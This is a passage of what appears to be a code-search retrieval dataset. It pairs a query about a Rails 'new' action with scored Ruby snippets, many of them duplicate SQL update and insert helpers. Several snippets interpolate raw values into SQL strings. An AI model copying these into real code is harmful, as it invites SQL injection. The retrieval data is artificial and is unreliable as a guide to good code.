"docid": "ae1b0adfc46eda6e58f12d8d5a2099ec",
"score": "0.5353667",
"text": "def update!(**args)\n @columns = args[:columns] if args.key?(:columns)\n @criteria = args[:criteria] if args.key?(:criteria)\n @rows = args[:rows] if args.key?(:rows)\n @source = args[:source] if args.key?(:source)\n @value_layout = args[:value_layout] if args.key?(:value_layout)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "133aaf0d3c6c7c826ef7a68670fd7a5e",
"score": "0.5303398",
"text": "def insert_select_sql(*values)\n ds = (opts[:output] || opts[:returning]) ? self : output(nil, [SQL::ColumnAll.new(:inserted)])\n ds.insert_sql(*values)\n end",
"title": ""
},
{
"docid": "d414796148a7386f70648d0fe1350882",
"score": "0.53023624",
"text": "def update!(**args)\n @pivot_value_regions = args[:pivot_value_regions] if args.key?(:pivot_value_regions)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "d414796148a7386f70648d0fe1350882",
"score": "0.53023624",
"text": "def update!(**args)\n @pivot_value_regions = args[:pivot_value_regions] if args.key?(:pivot_value_regions)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "79084cffc874dd1ee9b6e675019c7a06",
"score": "0.5292136",
"text": "def insert_sql(*values)\n return static_sql(@opts[:sql]) if @opts[:sql]\n\n check_modification_allowed!\n\n columns = []\n\n case values.size\n when 0\n return insert_sql({})\n when 1\n case vals = values.at(0)\n when Hash\n vals = @opts[:defaults].merge(vals) if @opts[:defaults]\n vals = vals.merge(@opts[:overrides]) if @opts[:overrides]\n values = []\n vals.each do |k,v| \n columns << k\n values << v\n end\n when Dataset, Array, LiteralString\n values = vals\n else\n if vals.respond_to?(:values) && (v = vals.values).is_a?(Hash)\n return insert_sql(v) \n end\n end\n when 2\n if (v0 = values.at(0)).is_a?(Array) && ((v1 = values.at(1)).is_a?(Array) || v1.is_a?(Dataset) || v1.is_a?(LiteralString))\n columns, values = v0, v1\n raise(Error, \"Different number of values and columns given to insert_sql\") if values.is_a?(Array) and columns.length != values.length\n end\n end\n\n columns = columns.map{|k| literal(String === k ? k.to_sym : k)}\n clone(:columns=>columns, :values=>values)._insert_sql\n end",
"title": ""
},
{
"docid": "4938a34a07f3242af8b68df26d33d6aa",
"score": "0.5275197",
"text": "def update_query(keys_array, values_array)\n \"UPDATE #{@table_name} SET #{keys_array.join(', ')} FROM\n ( SELECT #{values_array.join(', ')}) as source WHERE #{@table_name}.id = source.id;\"\n end",
"title": ""
},
{
"docid": "f083875bd7dcf3503001989753c9e3a9",
"score": "0.52595234",
"text": "def replace(*values)\n super(transform_values(values))\n end",
"title": ""
},
{
"docid": "9802cd3bcd50adf14c1eef01d6d728dc",
"score": "0.5257215",
"text": "def update!(**args)\n @comparison_columns = args[:comparison_columns] if args.key?(:comparison_columns)\n @range = args[:range] if args.key?(:range)\n end",
"title": ""
},
{
"docid": "9802cd3bcd50adf14c1eef01d6d728dc",
"score": "0.5257215",
"text": "def update!(**args)\n @comparison_columns = args[:comparison_columns] if args.key?(:comparison_columns)\n @range = args[:range] if args.key?(:range)\n end",
"title": ""
},
{
"docid": "065894bb264d39a112e4f3f86e6cd8b3",
"score": "0.52286106",
"text": "def update!(**args)\n @columns = args[:columns] if args.key?(:columns)\n @table = args[:table] if args.key?(:table)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "40ac57ae592b8fbd12629ad1818af923",
"score": "0.5223014",
"text": "def update(table, columns, values)\n @query += \"UPDATE #{table} SET\"\n columns.each do |column|\n @query += \" #{column} = ?,\"\n end\n @query[@query.length-1] = ' '\n values.each do |values|\n @values << values\n end\n return self\n end",
"title": ""
},
{
"docid": "6606cb4b13236f3ef9c820010f142691",
"score": "0.52226806",
"text": "def insert_on_duplicate_key_update_sql(sql)\n if update_cols = opts[:on_duplicate_key_update]\n update_vals = nil\n\n if update_cols.empty?\n update_cols = columns\n elsif update_cols.last.is_a?(Hash)\n update_vals = update_cols.last\n update_cols = update_cols[0..-2]\n end\n\n sql << \" ON DUPLICATE KEY UPDATE \"\n c = false\n co = ', '\n values = '=VALUES('\n endp = ')'\n update_cols.each do |col|\n sql << co if c\n quote_identifier_append(sql, col)\n sql << values\n quote_identifier_append(sql, col)\n sql << endp\n c ||= true\n end\n if update_vals\n eq = '='\n update_vals.map do |col,v| \n sql << co if c\n quote_identifier_append(sql, col)\n sql << eq\n literal_append(sql, v)\n c ||= true\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2d6ccd4925ca41679a4eebc37c298bb1",
"score": "0.5216533",
"text": "def select_values_sql(sql)\n sql << \"VALUES \"\n expression_list_append(sql, opts[:values])\n end",
"title": ""
},
{
"docid": "f64d941a73fdfe556fd55820cd832d92",
"score": "0.5209561",
"text": "def apply_values(values={})\n @values = values\n instance_eval(&values_proc)\n @values\n end",
"title": ""
},
{
"docid": "a7aed3303a295327705b490a7ea53145",
"score": "0.52017283",
"text": "def bulk_update(column_names, data)\n connection.execute(sql_for_bulk_update(column_names, data)) unless data.empty?\n end",
"title": ""
},
{
"docid": "5ef76fa49e0a83e7c2befc8ca3b121a5",
"score": "0.51885897",
"text": "def set(values)\n @sql += ' SET '\n\n values.each do |key, param|\n @sql += \"`#{key}` = ?, \"\n @params << param\n end\n\n @sql = @sql.chomp(', ')\n\n self\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.5183587",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "151120ac4b2db456d57e0f259ea7155b",
"score": "0.51825833",
"text": "def update!(**args)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "3eb798d8193a8045570235912655d218",
"score": "0.5180683",
"text": "def update_or_create_records set: {}, where: {}, **args, &b\n orientdb.update_or_create_records self, set: set, where: where, **args, &b\n end",
"title": ""
},
{
"docid": "f8b11a06925de8b0a1c6ab4497a027bc",
"score": "0.5176462",
"text": "def do_update\n if value_type_rates?\n copy_rates\n elsif value_type_stop_sell?\n copy_stop_sell\n elsif value_type_min_stay?\n copy_min_stay\n elsif value_type_cta?\n if channel_from == GtaTravelChannel.first\n copy_cta_from_gta_travel\n else\n copy_cta\n end\n elsif value_type_ctd?\n copy_ctd\n elsif value_type_ctb?\n copy_ctb\n end\n end",
"title": ""
},
{
"docid": "961208e6bb85df6af17f42e0b165af05",
"score": "0.5172116",
"text": "def update!(**args)\n @values_changed = args[:values_changed] if args.key?(:values_changed)\n @rows_changed = args[:rows_changed] if args.key?(:rows_changed)\n @occurrences_changed = args[:occurrences_changed] if args.key?(:occurrences_changed)\n @sheets_changed = args[:sheets_changed] if args.key?(:sheets_changed)\n @formulas_changed = args[:formulas_changed] if args.key?(:formulas_changed)\n end",
"title": ""
},
{
"docid": "fd99ddc39e8556a88227f5f6f50fefbf",
"score": "0.5167069",
"text": "def UPDATE(*value_terms)\n update_something_by(*value_terms) do |original_value, input_value|\n case update_strategy\n when :absolute then input_value\n when :relative_total\n original_value + (original_value * input_value)\n when :relative_per_year\n original_value * ((1.0 + input_value) ** scope.scenario.years)\n end\n end\n end",
"title": ""
},
{
"docid": "1a82a76238c9fd6672c5a68b171daafa",
"score": "0.51669306",
"text": "def update_query(options)\n query = \"UPDATE #{options[:table]} SET #{options[:values]}\"\n query += \" WHERE #{options[:conditions]}\" if options[:conditions]\n @connection.query(query)\n end",
"title": ""
},
{
"docid": "36c6ae823476be6a20c44f8f1c30ec14",
"score": "0.51472837",
"text": "def update!(**args)\n @allow_all = args[:allow_all] if args.key?(:allow_all)\n @condition = args[:condition] if args.key?(:condition)\n @deny_all = args[:deny_all] if args.key?(:deny_all)\n @enforce = args[:enforce] if args.key?(:enforce)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "67bad875925611b4bd45fdf9adacd245",
"score": "0.5134484",
"text": "def insert_sql(*values)\n return static_sql(@opts[:sql]) if @opts[:sql]\n\n check_modification_allowed!\n\n columns = []\n\n case values.size\n when 0\n return insert_sql({})\n when 1\n case vals = values[0]\n when Hash\n values = []\n vals.each do |k,v| \n columns << k\n values << v\n end\n when Dataset, Array, LiteralString\n values = vals\n end\n when 2\n if (v0 = values[0]).is_a?(Array) && ((v1 = values[1]).is_a?(Array) || v1.is_a?(Dataset) || v1.is_a?(LiteralString))\n columns, values = v0, v1\n raise(Error, \"Different number of values and columns given to insert_sql\") if values.is_a?(Array) and columns.length != values.length\n end\n end\n\n if values.is_a?(Array) && values.empty? && !insert_supports_empty_values? \n columns, values = insert_empty_columns_values\n end\n clone(:columns=>columns, :values=>values).send(:_insert_sql)\n end",
"title": ""
},
{
"docid": "022273106b17f66d6b625531fa9a2563",
"score": "0.51338375",
"text": "def multi_insert_sql(columns, values)\n case multi_insert_sql_strategy\n when :values\n sql = LiteralString.new('VALUES ')\n expression_list_append(sql, values.map{|r| Array(r)})\n [insert_sql(columns, sql)]\n when :union\n c = false\n sql = LiteralString.new\n u = ' UNION ALL SELECT '\n f = empty_from_sql\n values.each do |v|\n if c\n sql << u\n else\n sql << 'SELECT '\n c = true\n end\n expression_list_append(sql, v)\n sql << f if f\n end\n [insert_sql(columns, sql)]\n else\n values.map{|r| insert_sql(columns, r)}\n end\n end",
"title": ""
},
{
"docid": "fa4a7139d4f75072224867c5b81465c6",
"score": "0.5132307",
"text": "def update_record(table, values, org_key = nil)\n sweeper.ping\n result = super\n sweeper.ping\n result\n end",
"title": ""
},
{
"docid": "4692d721e220e85a2012d0a67fe18694",
"score": "0.51305",
"text": "def update!(**args)\n @columns = args[:columns] if args.key?(:columns)\n @criteria = args[:criteria] if args.key?(:criteria)\n @data_execution_status = args[:data_execution_status] if args.key?(:data_execution_status)\n @data_source_id = args[:data_source_id] if args.key?(:data_source_id)\n @filter_specs = args[:filter_specs] if args.key?(:filter_specs)\n @rows = args[:rows] if args.key?(:rows)\n @source = args[:source] if args.key?(:source)\n @value_layout = args[:value_layout] if args.key?(:value_layout)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "ab7520f9767a7d20e2529a8fef5697a7",
"score": "0.51181406",
"text": "def update(row, col, val)\n \n end",
"title": ""
},
{
"docid": "db21a15d0e39b888705478571f8ac3fb",
"score": "0.5100799",
"text": "def _update_without_checking(columns)\n ds = _update_dataset\n lc = model.lock_column\n rows = ds.clone(ds.send(:default_server_opts, :sql=>ds.output(nil, [Sequel[:inserted][lc]]).update_sql(columns))).all\n values[lc] = rows.first[lc] unless rows.empty?\n rows.length\n end",
"title": ""
},
{
"docid": "0a5a2037276093a32ec926f93c5312f8",
"score": "0.5077588",
"text": "def insert_sql(*values)\n if values.size == 1 && (vals = values.first).is_a?(Hash)\n super(merge_defaults_overrides(vals))\n else\n super\n end\n end",
"title": ""
},
{
"docid": "4825a160fdb3097bd6af4f918292c38a",
"score": "0.50740063",
"text": "def update(id, data)\n adapter.exec_prepared(\"update_#{table_name}\", update_sql(id, data.keys), *data.values)\n end",
"title": ""
},
{
"docid": "39860935885ded5a8edfb4275658b499",
"score": "0.5072735",
"text": "def when(*values)\n self.values = values\n self\n end",
"title": ""
},
{
"docid": "a9a3c885295b37554b163dc41374ffd7",
"score": "0.5072364",
"text": "def update(tuple)\n wrap_dataset(returning_dataset.update(tuple))\n end",
"title": ""
},
{
"docid": "86400ebdf775f0bd50055b9f134e3870",
"score": "0.50611186",
"text": "def update!(**args)\n @before = args[:before] if args.key?(:before)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "86400ebdf775f0bd50055b9f134e3870",
"score": "0.50611186",
"text": "def update!(**args)\n @before = args[:before] if args.key?(:before)\n @values = args[:values] if args.key?(:values)\n end",
"title": ""
},
{
"docid": "08b8b208e7bc7d30e051677da9dd0c27",
"score": "0.5051612",
"text": "def update(table, values_hash, key_hash, options = nil)\n key_cql, key_values = key_clause(key_hash)\n update_cql = []\n update_values = []\n if values_hash.is_a?(String)\n update_cql << values_hash\n else\n values_hash.each do |column, value|\n update_cql << \"#{column} = ?\"\n update_values << value\n end\n end\n values = update_values + key_values\n\n cql = \"UPDATE #{table}\"\n\n if options&.include?(:ttl)\n options = options.dup\n ttl = options.delete(:ttl)\n if ttl\n cql += \" USING TTL ?\"\n values.unshift(Integer(ttl))\n end\n end\n\n cql += \" SET #{update_cql.join(\", \")} WHERE #{key_cql}\"\n\n batch_or_execute(cql, values, options)\n end",
"title": ""
},
{
"docid": "44ea9f7d794858ad4da6ea2a60b694aa",
"score": "0.5043784",
"text": "def update!(**args)\n @comparison_type = args[:comparison_type] if args.key?(:comparison_type)\n @field = args[:field] if args.key?(:field)\n @negated = args[:negated] if args.key?(:negated)\n @value = args[:value] if args.key?(:value)\n end",
"title": ""
},
{
"docid": "fe72f20828be5bc25ac9a39655eb803a",
"score": "0.50259095",
"text": "def update(ids, updates)\n updates = BlocRecord::Utility.convert_keys(updates) # convert the non-id parameters to an array.\n updates.delete \"id\"\n updates_array = updates.map { |key, value| \"#{key}=#{BlocRecord::Utility.sql_strings(value)}\" }\n # use map to convert updates to an array of strings where each string is in the format \"KEY=VALUE\"\n # This updates the specified columns in the database.\n\n if ids.class == Fixnum #non-floting number\n where_clause = \"WHERE id = #{ids};\"\n elsif ids.class == Array\n where_clause = ids.empty? ? \";\" : \"WHERE id IN (#{ids.join(\",\")});\"\n # ternary operator used. If nil, then we end the query using ;, otherwise we append the WHERE clause.\n else\n where_clause = \";\"\n end\n\n\n connection.execute <<-SQL\n UPDATE #{table}\n SET #{updates_array * \",\"}\n #{where_clause}\n SQL\n\n # UPDATE table_name\n # SET column1=value1, column2=value2, ...\n # WHERE id=id1;\n\n true\n end",
"title": ""
}
] |
e40e4ad485668e3ee2578ea7afca82b3
|
GET /solicitations/new GET /solicitations/new.xml
|
[
{
"docid": "611927c565a7feb12e7f45820cfc4b0a",
"score": "0.77767277",
"text": "def new\n @solicitation = Solicitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitation }\n end\n end",
"title": ""
}
] |
[
{
"docid": "329b75bda5f81d08302fc7f3a1142f95",
"score": "0.74228233",
"text": "def new\n @solicitation_type = SolicitationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitation_type }\n end\n end",
"title": ""
},
{
"docid": "8ffd837e3cfc8131952ec866935d91aa",
"score": "0.7390908",
"text": "def new\n @solicitante = Solicitante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitante }\n end\n end",
"title": ""
},
{
"docid": "2b1319bc36668b7519a693dae2febb19",
"score": "0.72628415",
"text": "def new\n @solicitation_item = SolicitationItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitation_item }\n end\n end",
"title": ""
},
{
"docid": "9ec31f78b967512c2a1822a280594a78",
"score": "0.7154571",
"text": "def new\n @nota = @solicitud.notas.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end",
"title": ""
},
{
"docid": "8b92f7d8d5092ed9a7e3a5b313e6d712",
"score": "0.7116838",
"text": "def create\n @solicitation = Solicitation.new(params[:solicitation])\n\n respond_to do |format|\n if @solicitation.save\n format.html { redirect_to(@solicitation, :notice => 'Solicitation was successfully created.') }\n format.xml { render :xml => @solicitation, :status => :created, :location => @solicitation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ea020c0830fdb2dac16c7f6610680b0",
"score": "0.6880145",
"text": "def new\n @solicitud_documento = SolicitudDocumento.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud_documento }\n end\n end",
"title": ""
},
{
"docid": "3558c798e5c9defef25834b015273a47",
"score": "0.67828065",
"text": "def new\n @solicitud = @institucion.solicitudes.new\n @usa_solicitudes_privadas = current_usuario.institucion.usasolicitudesprivadas\n add_crumb \"Nueva Solicitud\"\n end",
"title": ""
},
{
"docid": "4919f2a37b1728df7c36273ca1158ddf",
"score": "0.67751145",
"text": "def new\n @solicitud = Solicitud.new\n @solicitud.fecha_creacion = l(Date.today)\n @solicitud.solicitante_nombre = \"\"\n @solicitud.solicitante_identificacion = \"No Disponible\"\n @solicitud.motivonegativa_id = 1\n @solicitud.motivoprorroga_id = 1\n \n @usa_solicitudes_privadas = usuario_actual.institucion.usasolicitudesprivadas\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end",
"title": ""
},
{
"docid": "8e7f6565369ea645086c63a0bd1072e5",
"score": "0.6765396",
"text": "def create\n @solicitante = Solicitante.new(params[:solicitante])\n\n respond_to do |format|\n if @solicitante.save\n format.html { redirect_to(@solicitante, :notice => 'Solicitante was successfully created.') }\n format.xml { render :xml => @solicitante, :status => :created, :location => @solicitante }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitante.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e16166750bb4a46039159c9f0650bf57",
"score": "0.6658719",
"text": "def new\n @solicitud = Solicitud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitud }\n end\n end",
"title": ""
},
{
"docid": "e16166750bb4a46039159c9f0650bf57",
"score": "0.6658719",
"text": "def new\n @solicitud = Solicitud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitud }\n end\n end",
"title": ""
},
{
"docid": "d3e8906a3447391b4d7361c07fab3506",
"score": "0.66312",
"text": "def new\n @sitio = Sitio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitio }\n end\n end",
"title": ""
},
{
"docid": "388a6be14063cf194670db5cb13a470c",
"score": "0.6623423",
"text": "def new\n @instants = Instants.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instants }\n end\n end",
"title": ""
},
{
"docid": "720dc194d44a8961d260c3ff463f832a",
"score": "0.66028994",
"text": "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"title": ""
},
{
"docid": "720dc194d44a8961d260c3ff463f832a",
"score": "0.66028994",
"text": "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"title": ""
},
{
"docid": "720dc194d44a8961d260c3ff463f832a",
"score": "0.66028994",
"text": "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"title": ""
},
{
"docid": "720dc194d44a8961d260c3ff463f832a",
"score": "0.66028994",
"text": "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"title": ""
},
{
"docid": "720dc194d44a8961d260c3ff463f832a",
"score": "0.66028994",
"text": "def new\n @invitation = Invitation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation }\n end\n end",
"title": ""
},
{
"docid": "7e0567eaa5771c49fb3def03eaa4a14b",
"score": "0.6590404",
"text": "def new\n \n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"title": ""
},
{
"docid": "95a030e437213742c3bb3dbe49c11403",
"score": "0.65857595",
"text": "def new\n @solicitacao = Solicitacao.new\n @solicitacao.turmas_solicitacaos.build\n @turmas = Turma.all\n @disciplinas = Disciplina.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitacao }\n end\n end",
"title": ""
},
{
"docid": "ad608889ec4ba0b3173ca382079546c5",
"score": "0.6585171",
"text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"title": ""
},
{
"docid": "b5d61e99736035bc631cb8267e3b3581",
"score": "0.6570936",
"text": "def new\n @societe = Societe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @societe }\n end\n end",
"title": ""
},
{
"docid": "c01c5ea5e6327f246c47f5891835d5e6",
"score": "0.656905",
"text": "def new\n @tipo_signos = TipoSigno.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipo_signos }\n end\n end",
"title": ""
},
{
"docid": "2dc0b8e5a452eb0a0ce08bbf6029c5f6",
"score": "0.6568574",
"text": "def new\n @invitation_sent = InvitationSent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitation_sent }\n end\n end",
"title": ""
},
{
"docid": "35013f1f03cf3182e80c70ac7ae04fde",
"score": "0.6567447",
"text": "def new\n @sitedatum = Sitedatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitedatum }\n end\n end",
"title": ""
},
{
"docid": "8e1e7a9b011cae075fc29c59b03e9492",
"score": "0.6559115",
"text": "def new\n @sitio = Sitio.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitio }\n end\n end",
"title": ""
},
{
"docid": "3745c2227ccef12e5f1df48d41c9b006",
"score": "0.6551268",
"text": "def new\n @invite_request = InviteRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite_request }\n end\n end",
"title": ""
},
{
"docid": "73d8498fb17582bf97d91b51f452c187",
"score": "0.6546042",
"text": "def new\n @consortium = Consortium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consortium }\n end\n end",
"title": ""
},
{
"docid": "73d8498fb17582bf97d91b51f452c187",
"score": "0.6546042",
"text": "def new\n @consortium = Consortium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consortium }\n end\n end",
"title": ""
},
{
"docid": "de4bad2a5c2f3f2196e23de4f5fb0e61",
"score": "0.654434",
"text": "def new\n @requests_complaints_request = RequestsComplaints::Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @requests_complaints_request }\n end\n end",
"title": ""
},
{
"docid": "58c5c8b6baf0bc9ba2342666961df933",
"score": "0.6524474",
"text": "def new\n @service_request = ServiceRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_request }\n end\n end",
"title": ""
},
{
"docid": "2de154328a89238f2257933b4d743a33",
"score": "0.65162843",
"text": "def new\n # Allow all RSVPS, but waitlist\n @rsvp = Rsvp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @rsvp }\n end\n end",
"title": ""
},
{
"docid": "c8f13a9a2563077947584689d5960175",
"score": "0.648939",
"text": "def new\n @requerim = Requerim.new\n @solicitud_id = params[:ns]\n @requerim.solicitud_id = params[:ns]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requerim }\n end\n end",
"title": ""
},
{
"docid": "61e5263c802837f7561dabb04849db4a",
"score": "0.6488509",
"text": "def new\n @disciplines = Discipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @disciplines }\n end\n end",
"title": ""
},
{
"docid": "e3eb515f514631103e67fd1689d610ce",
"score": "0.6485218",
"text": "def create\n @solicitation_type = SolicitationType.new(params[:solicitation_type])\n\n respond_to do |format|\n if @solicitation_type.save\n flash[:notice] = 'SolicitationType was successfully created.'\n format.html { redirect_to(@solicitation_type) }\n format.xml { render :xml => @solicitation_type, :status => :created, :location => @solicitation_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitation_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0a37568b701ed57a22087e0baf19a0d4",
"score": "0.64833564",
"text": "def new\n @servicios = Servicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @servicios }\n end\n end",
"title": ""
},
{
"docid": "6f1d9247d808e19e90162ae085175178",
"score": "0.6471877",
"text": "def new\n @indice_pincipal = IndicePincipal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @indice_pincipal }\n end\n end",
"title": ""
},
{
"docid": "bc51791636b2c8878082256c7c588052",
"score": "0.6470519",
"text": "def new\n @sisben = Sisben.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sisben }\n end\n end",
"title": ""
},
{
"docid": "aa02d8ee3576ebd752da706bba906f56",
"score": "0.6463137",
"text": "def create\n @solicitation_item = SolicitationItem.new(params[:solicitation_item])\n\n respond_to do |format|\n if @solicitation_item.save\n flash[:notice] = 'SolicitationItem was successfully created.'\n format.html { redirect_to(@solicitation_item) }\n format.xml { render :xml => @solicitation_item, :status => :created, :location => @solicitation_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitation_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b31e9bf4d47c2c64e7abaa4722f5d261",
"score": "0.64530754",
"text": "def new\n @it_reservation = ItReservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @it_reservation }\n end\n end",
"title": ""
},
{
"docid": "122b49eb10b1ef8c355db29d9ed34589",
"score": "0.643748",
"text": "def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assunto }\n end\n end",
"title": ""
},
{
"docid": "122b49eb10b1ef8c355db29d9ed34589",
"score": "0.643748",
"text": "def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assunto }\n end\n end",
"title": ""
},
{
"docid": "734f6969019e176d49e70c2c58326718",
"score": "0.6435046",
"text": "def new\n @recipient = Recipient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipient }\n end\n end",
"title": ""
},
{
"docid": "734f6969019e176d49e70c2c58326718",
"score": "0.6435046",
"text": "def new\n @recipient = Recipient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipient }\n end\n end",
"title": ""
},
{
